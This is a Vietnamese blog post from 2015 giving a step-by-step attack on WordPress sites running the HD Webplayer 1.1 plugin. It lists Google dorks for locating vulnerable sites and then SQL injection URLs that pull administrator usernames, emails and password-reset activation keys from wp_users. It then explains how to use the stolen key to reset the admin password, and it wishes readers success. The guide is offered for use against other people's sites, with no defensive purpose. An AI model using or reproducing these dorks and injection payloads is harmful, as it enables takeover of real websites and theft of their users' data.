Bug + UpShell với Wordpress HD Webplayer 1.1

Tìm site có lỗi:
chép vào google là được
Code:


Quote:
# Dork 1 (config.php)
inurl:"/wp-content/plugins/hd-webplayer/config.php?id="

# Dork 2 (playlist.php)
inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid="

# Dork 3 (General):
inurl:"/wp-content/plugins/hd-webplayer/"
Vidụ ta có web sau:

ta bắt đầu get lấy (Username & Email)

Quote:
http://domain.com/wp-content/plugins....php?videoid=7 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b ),5,6,7,8,9,10,11 FROM wp_users--
lấy email của admin rồi dán vào đây:
tiếp đấy ta lấy key đổi password user_login & user_activation_key)
Quote:
http://domain.com/wp-content/plugins....php?videoid=7 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_activation _key,0x3b),5,6,7,8,9,10,11 FROM wp_users--
Dán user admin & key theo link sau:
sau đó nhập password mới vào... chúc các bác thành công nhé

Tác giả : Henry Lute ~ Blog chia sẻ kiến thức Công nghệ thông tin

Bài viết Bug + UpShell với Wordpress HD Webplayer 1.1 được viết bởi Henry Lute vào Monday, January 19, 2015 .
Hi vọng bài viết có thể hữu ích với bạn. Cảm ơn bạn đã ghé thăm, vui lòng để lại bình luận.
Đã có 0 bình luận về bài viết Bug + UpShell với Wordpress HD Webplayer 1.1
 

0 comments :

Post a Comment

Subscribe to: Post Comments ( Atom )